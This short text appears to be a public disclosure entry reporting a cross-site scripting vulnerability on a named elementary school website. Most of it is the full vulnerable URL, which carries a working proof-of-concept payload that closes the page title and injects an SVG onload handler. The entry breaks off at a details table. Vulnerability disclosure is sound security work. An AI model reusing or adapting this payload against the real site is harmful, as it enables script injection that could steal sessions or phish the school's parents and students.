stowe.cps.edu XSS vulnerability

Vulnerable URL: http://www.stowe.cps.edu/apps/news/shownews.jsp?RECID=399354=0=News%20Post%20Parent%20Resources:%20Checking%20My%20Child%27s%20Grades%20and%20Attendance%20-%20Harriet%20Beecher%20Stowe%20Elementary%20School%3C/title%3E%3Csvg/onload=alert/XSSPOSED/%3E Details: Description| Value...